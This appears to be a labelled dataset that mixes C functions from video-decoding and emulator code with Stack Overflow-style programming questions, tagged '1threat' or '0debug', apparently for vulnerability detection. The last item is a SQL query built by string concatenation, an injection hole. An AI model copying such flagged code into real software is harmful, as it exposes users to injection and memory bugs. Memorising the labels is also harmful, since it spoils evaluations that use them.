static int mpeg4_decode_partitioned_mb(MpegEncContext *s, DCTELEM block[6][64]) { int cbp, mb_type; const int xy= s->mb_x + s->mb_y*s->mb_width; mb_type= s->mb_type[xy]; cbp = s->cbp_table[xy]; if(s->current_picture.qscale_table[xy] != s->qscale){ s->qscale= s->current_picture.qscale_table[xy]; s->y_dc_scale= s->y_dc_scale_table[ s->qscale ]; s->c_dc_scale= s->c_dc_scale_table[ s->qscale ]; } if (s->pict_type == P_TYPE || s->pict_type==S_TYPE) { int i; for(i=0; i<4; i++){ s->mv[0][i][0] = s->motion_val[ s->block_index[i] ][0]; s->mv[0][i][1] = s->motion_val[ s->block_index[i] ][1]; } s->mb_intra = mb_type&MB_TYPE_INTRA; if (mb_type&MB_TYPE_SKIPED) { for(i=0;i<6;i++) s->block_last_index[i] = -1; s->mv_dir = MV_DIR_FORWARD; s->mv_type = MV_TYPE_16X16; if(s->pict_type==S_TYPE && s->vol_sprite_usage==GMC_SPRITE){ s->mcsel=1; s->mb_skiped = 0; }else{ s->mcsel=0; s->mb_skiped = 1; } }else if(s->mb_intra){ s->ac_pred = s->pred_dir_table[xy]>>7; for (i = 0; i < 6; i++) { if(mpeg4_decode_block(s, block[i], i, cbp&32, 1) < 0){ fprintf(stderr, "texture corrupted at %d %d\n", s->mb_x, s->mb_y); return -1; } cbp+=cbp; } }else if(!s->mb_intra){ s->mv_dir = MV_DIR_FORWARD; if (mb_type&MB_TYPE_INTER4V) { s->mv_type = MV_TYPE_8X8; } else { s->mv_type = MV_TYPE_16X16; } for (i = 0; i < 6; i++) { if(mpeg4_decode_block(s, block[i], i, cbp&32, 0) < 0){ fprintf(stderr, "texture corrupted at %d %d (trying to continue with mc/dc only)\n", s->mb_x, s->mb_y); return -1; } cbp+=cbp; } } } else { int i; s->mb_intra = 1; s->ac_pred = s->pred_dir_table[xy]>>7; for (i = 0; i < 6; i++) { if(mpeg4_decode_block(s, block[i], i, cbp&32, 1) < 0){ fprintf(stderr, "texture corrupted at %d %d (trying to continue with dc only)\n", s->mb_x, s->mb_y); return -1; } cbp+=cbp; } } s->error_status_table[xy]&= ~AC_ERROR; if(--s->mb_num_left <= 0){ if(mpeg4_is_resync(s)) return SLICE_END; else return SLICE_NOEND; }else{ if(s->cbp_table[xy+1] && mpeg4_is_resync(s)) return SLICE_END; else return SLICE_OK; } }
1threat
Cpp pointers and references : I'm reading the C++ Primer 5th Edition, and it has a part that shows us the following code: *&r = p; What is the meaning of "*&", I can't understand!
0debug
Angular 6 upgrade: debounceTime is not property of Subject : <p>I am attempting to upgrade my app from Angular 5 to Angular 6. I followed the steps on the <a href="https://update.angular.io/" rel="noreferrer">https://update.angular.io/</a> At least i think i did. </p> <p>The Error is :</p> <pre><code>Property 'debounceTime' does not exist on type 'Subject&lt;string&gt;'. </code></pre> <p>Also my components lost the debounceTime import. I think the ng update removed it. </p>
0debug
static int cpu_can_run(CPUState *env) { if (env->stop) return 0; if (env->stopped) return 0; if (!vm_running) return 0; return 1; }
1threat
Default radio button select value angular material 2 : <p>I am working on angular material 2 radio button following this documentation:<a href="https://material.angular.io/components/component/radio" rel="noreferrer">https://material.angular.io/components/component/radio</a>.</p> <p>The problem that I am facing is to have the radio button a default selected value of <code>No</code>. If you see in the plunker:<a href="https://plnkr.co/edit/jdRxVLdSfFqR4XOdpyUN?p=preview" rel="noreferrer">https://plnkr.co/edit/jdRxVLdSfFqR4XOdpyUN?p=preview</a> you will find that none of the options are selected. I would want the default value to be <code>No</code> when the page loads. </p>
0debug
Firebase is free to use for Unity or not? : <p>i want to use Firebase in my Augmented Reality application.so Kindly someone tell me that Firebase is free for Unity or not?</p>
0debug
What is right syntax for args in Django 1.10 : I started to study Django 1.10 but uses example made on 1.6. That's why I have some troubles with syntax in new version. This's my function: def article(request, article_id=1): comment_form = CommentForm @csrf_protect args = {} args['article'] = Article.objects.get(id=article_id) args['comments'] = Comments.objects.filter(comments_artile_id=article_id) args['form'] = comment_form return render (request, 'articles.html', args) and my Traceback: File "/home/goofy/djangoenv/bin/firstapp/article/views.py", line 30 args = {} ^ SyntaxError: invalid syntax If you show me what is right syntax or he or where i can find answer, because I can found any explanations in Django Docs
0debug
Angular 2 redirect on click : <p>How to create simple redirect on click on some button in Angular 2? Already tried:</p> <pre><code>import {Component, OnInit} from 'angular2/core'; import {Router, ROUTER_PROVIDERS} from 'angular2/router' @Component({ selector: 'loginForm', templateUrl: 'login.html', providers: [ROUTER_PROVIDERS] }) export class LoginComponent implements OnInit { constructor(private router: Router) { } ngOnInit() { this.router.navigate(['./SomewhereElse']); } } </code></pre>
0debug
Python Help Please : Write a function called longestword that takes a list of items and returns the longest string in the list. For example given the list [11.22,"hello",20000,"Thanksgiving!",True] it should return Thanksgiving! which is the longest string in the list. Thanks so much!
0debug
How to iterate over Python dictionary keys : <p>I have a dictionary as follows. How can I iterate over all the values in the dictionary with matching first and second keys? for example iterate over all ('picture','angie',*) in the following dictionary </p> <pre><code>book = {('poem', 'jim', '1'): '$50', ('poem', 'jim', '2'): '$51', ('picture', 'angie', '1'): '$90', ('picture', 'angie', '2'): '$10', ('picture', 'angie', '3'): '$20'} </code></pre> <p>would return</p> <pre><code> ('picture', 'angie', '1'): '$90' ('picture', 'angie', '2'): '$10' ('picture', 'angie', '3'): '$20' </code></pre>
0debug
static int avs_probe(AVProbeData * p) { const uint8_t *d; if (p->buf_size < 2) return 0; d = p->buf; if (d[0] == 'w' && d[1] == 'W' && d[2] == 0x10 && d[3] == 0) return 50; return 0; }
1threat
KEGG Annotation : <p>I have a set of genes (Amino acid sequences). I want to find the Kegg based functional annotations or KO ids. Is there any KEGG database available for download? I want to use blast with that database. Additionally, I was looking for R package that can help me in this regard.</p> <p>Hope so I have clarified my query. Thanks for your response in advance.</p>
0debug
int unix_listen(const char *str, char *ostr, int olen) { QemuOpts *opts; char *path, *optstr; int sock, len; opts = qemu_opts_create(&dummy_opts, NULL, 0); optstr = strchr(str, ','); if (optstr) { len = optstr - str; if (len) { path = g_malloc(len+1); snprintf(path, len+1, "%.*s", len, str); qemu_opt_set(opts, "path", path); g_free(path); } } else { qemu_opt_set(opts, "path", str); } sock = unix_listen_opts(opts); if (sock != -1 && ostr) snprintf(ostr, olen, "%s%s", qemu_opt_get(opts, "path"), optstr ? optstr : ""); qemu_opts_del(opts); return sock; }
1threat
Is it possible to implement bottom tab bar functionality like iOS in android? : <p>In iOS , bottom tab bar functionality is very basic. But in android , I can't implement this functionality. My idea is as follows. Tab bar contains SMS, Call, Camera - 3 tab bar icons. Whenever taps this icons, I want to run SMS, Phone call and Camera installed on my android device. But these should be the same as iOS tab View. (shouldn't be full screen) I have found solution for a long time, but I can't find the correct way. Please help me Thanks</p>
0debug
Add one to many in form - Backpack laravel : <p>I'm using <a href="https://backpackforlaravel.com/" rel="noreferrer">Backpack for Laravel</a> to provide the backend area of my laravel website.</p> <p>I'm having the following <strong>tables</strong> in my database structure:</p> <p><a href="https://i.stack.imgur.com/LHgMM.png" rel="noreferrer"><img src="https://i.stack.imgur.com/LHgMM.png" alt="enter image description here"></a></p> <p>This is to add sets to a match, and add matches to a tournament.</p> <p>These are my <strong>Models</strong>:</p> <p><em>Tournament Model:</em></p> <pre><code>&lt;?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Backpack\CRUD\CrudTrait; class Tournament extends Model { use CrudTrait; /* |-------------------------------------------------------------------------- | GLOBAL VARIABLES |-------------------------------------------------------------------------- */ protected $fillable = ['from', 'to', 'type', 'location', 'place']; /* |-------------------------------------------------------------------------- | RELATIONS |-------------------------------------------------------------------------- */ public function matches() { return $this-&gt;hasMany('App\Models\Match'); } } </code></pre> <p><em>Match Model:</em></p> <pre><code>&lt;?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Backpack\CRUD\CrudTrait; class Match extends Model { use CrudTrait; /* |-------------------------------------------------------------------------- | GLOBAL VARIABLES |-------------------------------------------------------------------------- */ protected $table = 'matches'; protected $fillable = ['opponent']; /* |-------------------------------------------------------------------------- | RELATIONS |-------------------------------------------------------------------------- */ public function sets() { return $this-&gt;hasMany('App\Models\Set'); } } </code></pre> <p><em>Set Model:</em></p> <pre><code>&lt;?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Backpack\CRUD\CrudTrait; class Set extends Model { use CrudTrait; /* |-------------------------------------------------------------------------- | GLOBAL VARIABLES |-------------------------------------------------------------------------- */ protected $fillable = ['self', 'opponent', 'index']; public function match() { return $this-&gt;belongsTo('App\Models\Match'); } } </code></pre> <p>Now I would like to have the following when I create a Tournament in backend:</p> <p><a href="https://i.stack.imgur.com/frOXc.png" rel="noreferrer"><img src="https://i.stack.imgur.com/frOXc.png" alt="enter image description here"></a></p> <p>I can already set from, to, type, location and place. But now I would like the possibility to add a match and add sets to that match. This all on one page.</p> <p>But I'm a bit stuck on how to do this. Can someone help me on my way?</p>
0debug
static void ff_h264_idct_add16_sse2(uint8_t *dst, const int *block_offset, DCTELEM *block, int stride, const uint8_t nnzc[6*8]){ int i; for(i=0; i<16; i+=2) if(nnzc[ scan8[i+0] ]|nnzc[ scan8[i+1] ]) ff_x264_add8x4_idct_sse2 (dst + block_offset[i], block + i*16, stride); }
1threat
AngularFire2 - Setting custom key when pushing : <p>I am learning angularfire2 in Ionic2</p> <pre><code> const newUser = this._db.list('/users'); setTimeout(() =&gt; { newUser.push(this.userInfo) .then((data) =&gt; console.log(data)) },3000) </code></pre> <p>I want to know if there is any way I can set my custom key when pushing new data. I tried various suggestion given on internet to update the key after insert, but no success.</p>
0debug
Is it better to use the generate migration command to build a database table or is the generate model command better? : <p>I am learning rails and it seems that there are two ways to create a database structure.</p> <p>One is to use rails g migration table name and then add columns within the migration file. </p> <p>The other way seems to be to rails g model modelname columname:datatype.</p> <p>Which is a more standard or better way?</p>
0debug
Hello Word Device Tree Based device driver : <p>I have read and almost gone through all the linux kernel documentation on the device tree and device tree overlays.I am not able to understand if we have to create a new entree in the device tree of the platform or to create a new overlay for the device for a new driver based on device tree. I am looking for a simple led glowing driver example where led is connected to GPIO pin and its configuration is mentioned in the device tree overlay or device tree fragment on the board's platform.How can it be build/pushed and tested using the user space application.</p>
0debug
c programming with arrays and pointers : i am coding one of my assignments but I cannot get right answer, it is asked to get even numbers using pointers of arr[100]; please can you find what is incorrect int main() { int ar[100],*i,*j,n=0,even,*peven=&even; scanf("%d",&n); for(i=ar;i<ar+n;i++) { scanf("%d",ar+n); } for(i=ar;i<ar+n;i++) { *peven=0; for(j=ar;j<ar+n;j++) { if((*ar+n)%2==0) { (*peven)++; } } printf("%d",*peven); } return 0; }
0debug
do you know how to fix this UPDATE errpr? : when this code runs, it says there is an UPDATE writing error. dose anybody knows whats the problem or how to fix it? this is the cood: string sql2 = "UPDATE ezuser"; sql2 += " SET fname = '" + Request.Form["fname"]+ "'"; sql2 += " , lname = '" + Request.Form["lname"] + "'"; sql2 += " , fav = '" + Request.Form["fav"] + "'"; sql2 += " , pw='" + Request.Form["pw"] + "'"; sql2 += " , order = '" + Request.Form["order"] + "'"; sql2 += " WHERE email = '" + Request.Form["email"] + "'"; MyAdoHelper.DoQuery(fileName, sql2);
0debug
Getting text from selenium python : [enter image description here][1] [1]: https://i.stack.imgur.com/uyCBe.png Cannot get the "You can't join this group because it is full." as a text. Please hep me.
0debug
My SQL Python ProgrammingError: 1064 (42000) : <p>I am trying to store scraped data with scrapy to a sql database but I get the following error: ProgrammingError: 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 7</p> <p>Please find my pipelines.py bellow</p> <pre><code>from datetime import datetime import mysql.connector from mysql.connector import errorcode class LecturesinparisPipeline(object): ... class CleaningPipeline(object): ... class DatabasePipeline(object): def __init__(self): self.create_connection() self.create_table() def create_connection(self): self.conn = mysql.connector.connect( host='localhost', user='root', passwd='sTUDIO987', database='lecturesinparis_db' ) self.curr = self.conn.cursor() def create_table(self): self.curr.execute("""DROP TABLE IF EXISTS mdl""") self.curr.execute("""create table mdl( title text, location text, startdatetime text, lenght text, description text, )""") def process_item(self, item, spider): self.store_db(item) return item def store_db(self, item): self.curr.execute("""insert into mdl values (%s,%s,%s,%s,%s)""", ( item['title'][0], item['location'][0], item['startdatetime'][0], item['lenght'][0], item['description'][0] )) self.conn.commit() </code></pre>
0debug
How do I get document injected into systemjs-builder for bundling a angular 4.0.0 app? : <p>I'm trying to bundle an angular 4.0.0 app.</p> <p>I've tried browserify but the new angular-loader plugin (that allows for not needing the moduleId in components with templateUrl) does not get called and so the templates end up with the wrong path.</p> <p>So I moved to systemjs-builder but the problem is that when it runs that plugin it crashes saying that document is not defined.</p> <p>Is there a way to inject document into the builder?</p> <p>Or am I doing something wrong?</p> <p>This is the simple builder I'm testing ( the systemjs-config is the angular quickstart one).</p> <pre><code>var path = require("path"); var Builder = require('systemjs-builder'); var builder = new Builder('src/frontend', 'src/frontend/systemjs.config.js'); builder .bundle('main.js', 'bundle.js') .then(function() { console.log('Build complete'); }) .catch(function(err) { console.log('Build error'); console.log(err); }); </code></pre>
0debug
Make condition to the partial render on all pages except root (ROR) : <p>I've already did posting related with this on: <a href="https://stackoverflow.com/questions/48419871/make-condition-to-hide-the-render-if-the-page-is-change-on-ror">Make condition to hide the render if the page is change on ROR</a></p> <p>but now i want to reverse that condition, how you do that? ex: i want all the partial renders shows up on every pages except on root. All the source code is same with the previous post. Thx</p>
0debug
static int mxf_read_packet_old(AVFormatContext *s, AVPacket *pkt) { KLVPacket klv; MXFContext *mxf = s->priv_data; int ret; while ((ret = klv_read_packet(&klv, s->pb)) == 0) { PRINT_KEY(s, "read packet", klv.key); av_log(s, AV_LOG_TRACE, "size %"PRIu64" offset %#"PRIx64"\n", klv.length, klv.offset); if (IS_KLV_KEY(klv.key, mxf_encrypted_triplet_key)) { ret = mxf_decrypt_triplet(s, pkt, &klv); if (ret < 0) { av_log(s, AV_LOG_ERROR, "invalid encoded triplet\n"); return ret; } return 0; } if (IS_KLV_KEY(klv.key, mxf_essence_element_key) || IS_KLV_KEY(klv.key, mxf_canopus_essence_element_key) || IS_KLV_KEY(klv.key, mxf_avid_essence_element_key)) { int index = mxf_get_stream_index(s, &klv); int64_t next_ofs, next_klv; AVStream *st; MXFTrack *track; AVCodecParameters *par; if (index < 0) { av_log(s, AV_LOG_ERROR, "error getting stream index %"PRIu32"\n", AV_RB32(klv.key + 12)); goto skip; } st = s->streams[index]; track = st->priv_data; if (s->streams[index]->discard == AVDISCARD_ALL) goto skip; next_klv = avio_tell(s->pb) + klv.length; next_ofs = mxf_set_current_edit_unit(mxf, klv.offset); if (next_ofs >= 0 && next_klv > next_ofs) { avpriv_request_sample(s, "OPAtom misinterpreted as OP1a? " "KLV for edit unit %i extending into " "next edit unit", mxf->current_edit_unit); klv.length = next_ofs - avio_tell(s->pb); } if (klv.key[12] == 0x06 && klv.key[13] == 0x01 && klv.key[14] == 0x10) { ret = mxf_get_d10_aes3_packet(s->pb, s->streams[index], pkt, klv.length); if (ret < 0) { av_log(s, AV_LOG_ERROR, "error reading D-10 aes3 frame\n"); return ret; } } else { ret = av_get_packet(s->pb, pkt, klv.length); if (ret < 0) return ret; } pkt->stream_index = index; pkt->pos = klv.offset; par = st->codecpar; if (par->codec_type == AVMEDIA_TYPE_VIDEO && next_ofs >= 0) { MXFIndexTable *t = &mxf->index_tables[0]; if (mxf->nb_index_tables >= 1 && mxf->current_edit_unit < t->nb_ptses) { pkt->dts = mxf->current_edit_unit + t->first_dts; pkt->pts = t->ptses[mxf->current_edit_unit]; } else if (track->intra_only) { pkt->pts = mxf->current_edit_unit; } } else if (par->codec_type == AVMEDIA_TYPE_AUDIO) { ret = mxf_set_audio_pts(mxf, par, pkt); if (ret < 0) return ret; } avio_seek(s->pb, next_klv, SEEK_SET); return 0; } else skip: avio_skip(s->pb, klv.length); } return avio_feof(s->pb) ? AVERROR_EOF : ret; }
1threat
Where are the gains using numba coming from for pure numpy code? : <p>I would like to understand where the gains are coming from when using Numba to accelerate pure <code>numpy</code> code in a for loop. Are there any profiling tools that allow you to look into <code>jitted</code> functions? </p> <p>The demo code (as below) is just using very basic matrix multiplication to provide work to the computer. Are the observed gains from:</p> <ol> <li>a faster <code>loop</code>,</li> <li>the recasting of <code>numpy</code> functions intercepted by the <code>jit</code> during the compilation process, or</li> <li>less overhead with <code>jit</code> as numpy outsources execution via wrapper functions to low level libraries such as <code>LINPACK</code></li> </ol> <pre class="lang-py prettyprint-override"><code>%matplotlib inline import numpy as np from numba import jit import pandas as pd #Dimensions of Matrices i = 100 j = 100 def pure_python(N,i,j): for n in range(N): a = np.random.rand(i,j) b = np.random.rand(i,j) c = np.dot(a,b) @jit(nopython=True) def jit_python(N,i,j): for n in range(N): a = np.random.rand(i,j) b = np.random.rand(i,j) c = np.dot(a,b) time_python = [] time_jit = [] N = [1,10,100,500,1000,2000] for n in N: time = %timeit -oq pure_python(n,i,j) time_python.append(time.average) time = %timeit -oq jit_python(n,i,j) time_jit.append(time.average) df = pd.DataFrame({'pure_python' : time_python, 'jit_python' : time_jit}, index=N) df.index.name = 'Iterations' df[["pure_python", "jit_python"]].plot() </code></pre> <p>produces the following chart.</p> <p><a href="https://i.stack.imgur.com/9FRBo.png" rel="noreferrer"><img src="https://i.stack.imgur.com/9FRBo.png" alt="runtime comparisons for a range of iteration lengths"></a></p>
0debug
java.lang.IllegalStateException: Only fullscreen opaque activities can request orientation : <p>I am facing the problem while retrieving the contacts from the contact book in Android 8.0 Oreo java.lang.IllegalStateException: Only fullscreen opaque activities can request orientation</p> <p>I am trying to get the contact in my activity from the phone contact book and it works perfect for Lollipop, Marshmallow, Nougat, etc but it will gives me the error for Oreo like this please help me. My code is here below.</p> <p><strong>Demo Code :-</strong></p> <pre><code>private void loadContacts() { contactAsync = new ContactLoaderAsync(); contactAsync.execute(); } private class ContactLoaderAsync extends AsyncTask&lt;Void, Void, Void&gt; { private Cursor numCursor; @Override protected void onPreExecute() { super.onPreExecute(); Uri numContacts = ContactsContract.CommonDataKinds.Phone.CONTENT_URI; String[] numProjection = new String[]{ContactsContract.CommonDataKinds.Phone.CONTACT_ID, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER, ContactsContract.CommonDataKinds.Phone.TYPE}; if (android.os.Build.VERSION.SDK_INT &lt; 11) { numCursor = InviteByContactActivity.this.managedQuery(numContacts, numProjection, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " COLLATE NOCASE ASC"); } else { CursorLoader cursorLoader = new CursorLoader(InviteByContactActivity.this, numContacts, numProjection, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " COLLATE NOCASE ASC"); numCursor = cursorLoader.loadInBackground(); } } @Override protected Void doInBackground(Void... params) { if (numCursor.moveToFirst()) { try { final int contactIdIndex = numCursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID); final int displayNameIndex = numCursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); final int numberIndex = numCursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); final int typeIndex = numCursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.TYPE); String displayName, number, type; do { displayName = numCursor.getString(displayNameIndex); number = numCursor.getString(numberIndex); type = getContactTypeString(numCursor.getString(typeIndex), true); final ContactModel contact = new ContactModel(displayName, type, number); phoneNumber = number.replaceAll(" ", "").replaceAll("\\(", "").replaceAll("\\)", "").replaceAll("-", ""); if (phoneNumber != null || displayName != null) { contacts.add(phoneNumber); contactsName.add(displayName); contactsChecked.add(false); filterdNames.add(phoneNumber); filterdContactNames.add(displayName); filterdCheckedNames.add(false); } } while (numCursor.moveToNext()); } finally { numCursor.close(); } } Collections.sort(contacts, new Comparator&lt;String&gt;() { @Override public int compare(String lhs, String rhs) { return lhs.compareToIgnoreCase(rhs); } }); InviteByContactActivity.this.runOnUiThread(new Runnable() { @Override public void run() { mContactAdapter.notifyDataSetChanged(); } }); return null; } } private String getContactTypeString(String typeNum, boolean isPhone) { String type = PHONE_TYPES.get(typeNum); if (type == null) return "other"; return type; } static HashMap&lt;String, String&gt; PHONE_TYPES = new HashMap&lt;String, String&gt;(); static { PHONE_TYPES.put(ContactsContract.CommonDataKinds.Phone.TYPE_HOME + "", "home"); PHONE_TYPES.put(ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE + "", "mobile"); PHONE_TYPES.put(ContactsContract.CommonDataKinds.Phone.TYPE_WORK + "", "work"); } } </code></pre> <p><strong>Error Log:-</strong></p> <pre><code>E/AndroidRuntime: FATAL EXCEPTION: main Process: com.example, PID: 6573 java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example/com.example.Activity.InviteByContactActivity}: java.lang.IllegalStateException: Only fullscreen opaque activities can request orientation Caused by: java.lang.IllegalStateException: Only fullscreen opaque activities can request orientation </code></pre>
0debug
static gboolean fd_trampoline(GIOChannel *chan, GIOCondition cond, gpointer opaque) { IOTrampoline *tramp = opaque; if (tramp->opaque == NULL) { return FALSE; } if ((cond & G_IO_IN) && tramp->fd_read) { tramp->fd_read(tramp->opaque); } if ((cond & G_IO_OUT) && tramp->fd_write) { tramp->fd_write(tramp->opaque); } return TRUE; }
1threat
static void rtas_ibm_change_msi(PowerPCCPU *cpu, sPAPREnvironment *spapr, uint32_t token, uint32_t nargs, target_ulong args, uint32_t nret, target_ulong rets) { uint32_t config_addr = rtas_ld(args, 0); uint64_t buid = ((uint64_t)rtas_ld(args, 1) << 32) | rtas_ld(args, 2); unsigned int func = rtas_ld(args, 3); unsigned int req_num = rtas_ld(args, 4); unsigned int seq_num = rtas_ld(args, 5); unsigned int ret_intr_type; int ndev, irq, max_irqs = 0; sPAPRPHBState *phb = NULL; PCIDevice *pdev = NULL; switch (func) { case RTAS_CHANGE_MSI_FN: case RTAS_CHANGE_FN: ret_intr_type = RTAS_TYPE_MSI; break; case RTAS_CHANGE_MSIX_FN: ret_intr_type = RTAS_TYPE_MSIX; break; default: error_report("rtas_ibm_change_msi(%u) is not implemented", func); rtas_st(rets, 0, RTAS_OUT_PARAM_ERROR); return; } phb = find_phb(spapr, buid); if (phb) { pdev = find_dev(spapr, buid, config_addr); } if (!phb || !pdev) { rtas_st(rets, 0, RTAS_OUT_PARAM_ERROR); return; } if (!req_num) { ndev = spapr_msicfg_find(phb, config_addr, false); if (ndev < 0) { trace_spapr_pci_msi("MSI has not been enabled", -1, config_addr); rtas_st(rets, 0, RTAS_OUT_HW_ERROR); return; } trace_spapr_pci_msi("Released MSIs", ndev, config_addr); rtas_st(rets, 0, RTAS_OUT_SUCCESS); rtas_st(rets, 1, 0); return; } ndev = spapr_msicfg_find(phb, config_addr, true); if (ndev >= SPAPR_MSIX_MAX_DEVS || ndev < 0) { error_report("No free entry for a new MSI device"); rtas_st(rets, 0, RTAS_OUT_HW_ERROR); return; } trace_spapr_pci_msi("Configuring MSI", ndev, config_addr); if (ret_intr_type == RTAS_TYPE_MSI) { max_irqs = msi_nr_vectors_allocated(pdev); } else if (ret_intr_type == RTAS_TYPE_MSIX) { max_irqs = pdev->msix_entries_nr; } if (!max_irqs) { error_report("Requested interrupt type %d is not enabled for device#%d", ret_intr_type, ndev); rtas_st(rets, 0, -1); return; } if (req_num > max_irqs) { req_num = max_irqs; } if (phb->msi_table[ndev].nvec && (req_num != phb->msi_table[ndev].nvec)) { error_report("Cannot reuse MSI config for device#%d", ndev); rtas_st(rets, 0, RTAS_OUT_HW_ERROR); return; } if (!phb->msi_table[ndev].nvec) { irq = xics_alloc_block(spapr->icp, 0, req_num, false, ret_intr_type == RTAS_TYPE_MSI); if (irq < 0) { error_report("Cannot allocate MSIs for device#%d", ndev); rtas_st(rets, 0, RTAS_OUT_HW_ERROR); return; } phb->msi_table[ndev].irq = irq; phb->msi_table[ndev].nvec = req_num; phb->msi_table[ndev].config_addr = config_addr; } spapr_msi_setmsg(pdev, spapr->msi_win_addr, ret_intr_type == RTAS_TYPE_MSIX, phb->msi_table[ndev].irq, req_num); rtas_st(rets, 0, RTAS_OUT_SUCCESS); rtas_st(rets, 1, req_num); rtas_st(rets, 2, ++seq_num); rtas_st(rets, 3, ret_intr_type); trace_spapr_pci_rtas_ibm_change_msi(func, req_num); }
1threat
static inline unsigned int rgb_to_pixel8(unsigned int r, unsigned int g, unsigned b) { return 0; }
1threat
int do_balloon(Monitor *mon, const QDict *params, MonitorCompletion cb, void *opaque) { int ret; if (kvm_enabled() && !kvm_has_sync_mmu()) { qerror_report(QERR_KVM_MISSING_CAP, "synchronous MMU", "balloon"); return -1; } ret = qemu_balloon(qdict_get_int(params, "value"), cb, opaque); if (ret == 0) { qerror_report(QERR_DEVICE_NOT_ACTIVE, "balloon"); return -1; } cb(opaque, NULL); return 0; }
1threat
I Need flaten my array : How could I flatten my array of object : <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-js --> var mylist = [{THEMEID: 1, TITLE: "myTheme1", PARENTID: 0, children:[ {ITEMID: 1, NAME: "myItem1", THEMEID: 1, PARENTID: 1, TITLE: "myItem1"}, {THEMEID: 3, TITLE: "mySubTheme1", PARENTID: 1, children: [ {ITEMID: 3, NAME: "myItem3", THEMEID: 3, PARENTID: 2, TITLE: "myItem3"}]} ] }, {THEMEID: 2, TITLE: "myTheme2", PARENTID: 0, children: [ {ITEMID: 4, NAME: "myItem4", THEMEID: 2, PARENTID: 1, TITLE: "myItem4"}] }, {THEMEID: 6, TITLE: "myTheme3", PARENTID: 0, children:[ {THEMEID: 5, TITLE: "mySubTheme3", PARENTID: 1, children: [ {THEMEID: 4, TITLE: "mySubSubTheme3", PARENTID: 2, children: [ {ITEMID: 2, NAME: "myItem2", THEMEID: 4, PARENTID: 3, TITLE: "myItem2"} ]} ]} ] }] <!-- end snippet --> In a array where are indexes of children are to record in the children array of the parent array: Example : <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-js --> 0:{THEMEID: 1, TITLE: "myTheme1", PARENTID: 0, children[0:1(index children),1:2]}, (index)1:{ITEMID: 1, NAME: "myItem1", THEMEID: 1, PARENTID: 1, TITLE: "myItem1"}, 2:{THEMEID: 3, TITLE: "mySubTheme1", PARENTID: 1, children[0:3]}, 3:{ITEMID: 3, NAME: "myItem3", THEMEID: 3, PARENTID: 2, TITLE: "myItem3"}]} <!-- end snippet -->
0debug
Im creating a game.How do I change different background images? When I try it just displays for like .5 sec. Please help me : This is my code to a new background and objects. def bathRoom(): global drag, a, b, c, d, e, f, g, h, i, j bg_bathroom = True bathroom = pygame.image.load("pou_bathroom.jpg") mouse = pygame.mouse.get_pos() click = pygame.mouse.get_pressed() gameDisplay.blit(bathroom,[0,0]) gameDisplay.blit(pivi,[200,80]) gameDisplay.blit(soap,(a, b)) gameDisplay.blit(shower,(c,d)) gameDisplay.blit(shop,(e,f)) if click[0] == 1 and a + soapWidth > mouse[0] > a and b + soapHeight > mouse[1] > b: drag == 1 a = mouse[0] - (soapWidth / 2) b = mouse[1] - (soapHeight / 2) if click[0] == 1 and c + showerWidth > mouse[0] > c and d + showerHeight > mouse[1] > d: drag == 1 c = mouse[0] - (showerWidth / 2) d = mouse[1] - (showerHeight / 2) def main_loop(): while True: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() quit() mainScreen() mouse = pygame.mouse.get_pos() click = pygame.mouse.get_pressed() if click[0] == 1 and x + bathWidth > mouse[0] > x and y + bathHeight > mouse[1] > y: bathRoom() pygame.display.update() This is the part that I try to change background After I click the image I need to display a new background but it just displays for .5sec I need it to stay then I will be the one to change it again main_loop() pygame.quit() quit()
0debug
Scheme language setting ignored in iOS unit and ui tests : <p>My final goal is to issue </p> <pre><code>xcodebuild test </code></pre> <p>from command line picking different schemes for different languages.</p> <p>Currently I have two schemes, the only difference between them is the application language. In one scheme it is English, in the other is Spanish. If I use xCode to run the application it works nice, it is launched with the language specified in the scheme I have picked, both EN or ES are okay.</p> <p>If I run the tests from xCode, language setting is ignored. Whichever scheme I pick, it doesn't matter, it is always displayed as the device language. The same on simulator. The same when running tests with xcodebuild test picking scheme. (Adding an echo command to the scheme ensures that the correct one is picked)</p> <p>In the scheme editor "Use the Run action's arguments and environment variables" is checked.</p> <p>What am I doing wrong?</p> <p>Thank you.</p>
0debug
Animate.css and Angular 4 : <p>I've poked around a bit, and it seems that there really is no straightforward way to get the Animate.css animations working in Angular. Meaning, the animations would essentially need to be stripped out of the Animate.css library and translated into Angular animations.</p> <p>Is there something I'm missing, or any resources I've missed on this topic? Otherwise, are there other animation libraries that will work out of the box with Angular 4?</p>
0debug
int blk_insert_bs(BlockBackend *blk, BlockDriverState *bs, Error **errp) { blk->root = bdrv_root_attach_child(bs, "root", &child_root, blk->perm, blk->shared_perm, blk, errp); if (blk->root == NULL) { return -EPERM; } bdrv_ref(bs); notifier_list_notify(&blk->insert_bs_notifiers, blk); if (blk->public.throttle_group_member.throttle_state) { throttle_timers_attach_aio_context( &blk->public.throttle_group_member.throttle_timers, bdrv_get_aio_context(bs)); } return 0; }
1threat
Using PHP to write query string values to a .txt file and save : <p>I am able to take the values from a URL's query string and store them in some variables, however I would also like to print or write these values to a single line in a .txt document, and save that document in a given directory on the server.</p> <p>Each time the page is loaded with a new query string, a new line will be added to that .txt file with the string values, and the file re-saved.</p> <p>Can this be done? Struggling to find answers to this in my searches.</p> <p>Many thanks in advance.</p>
0debug
connection.query('SELECT * FROM users WHERE username = ' + input_string)
1threat
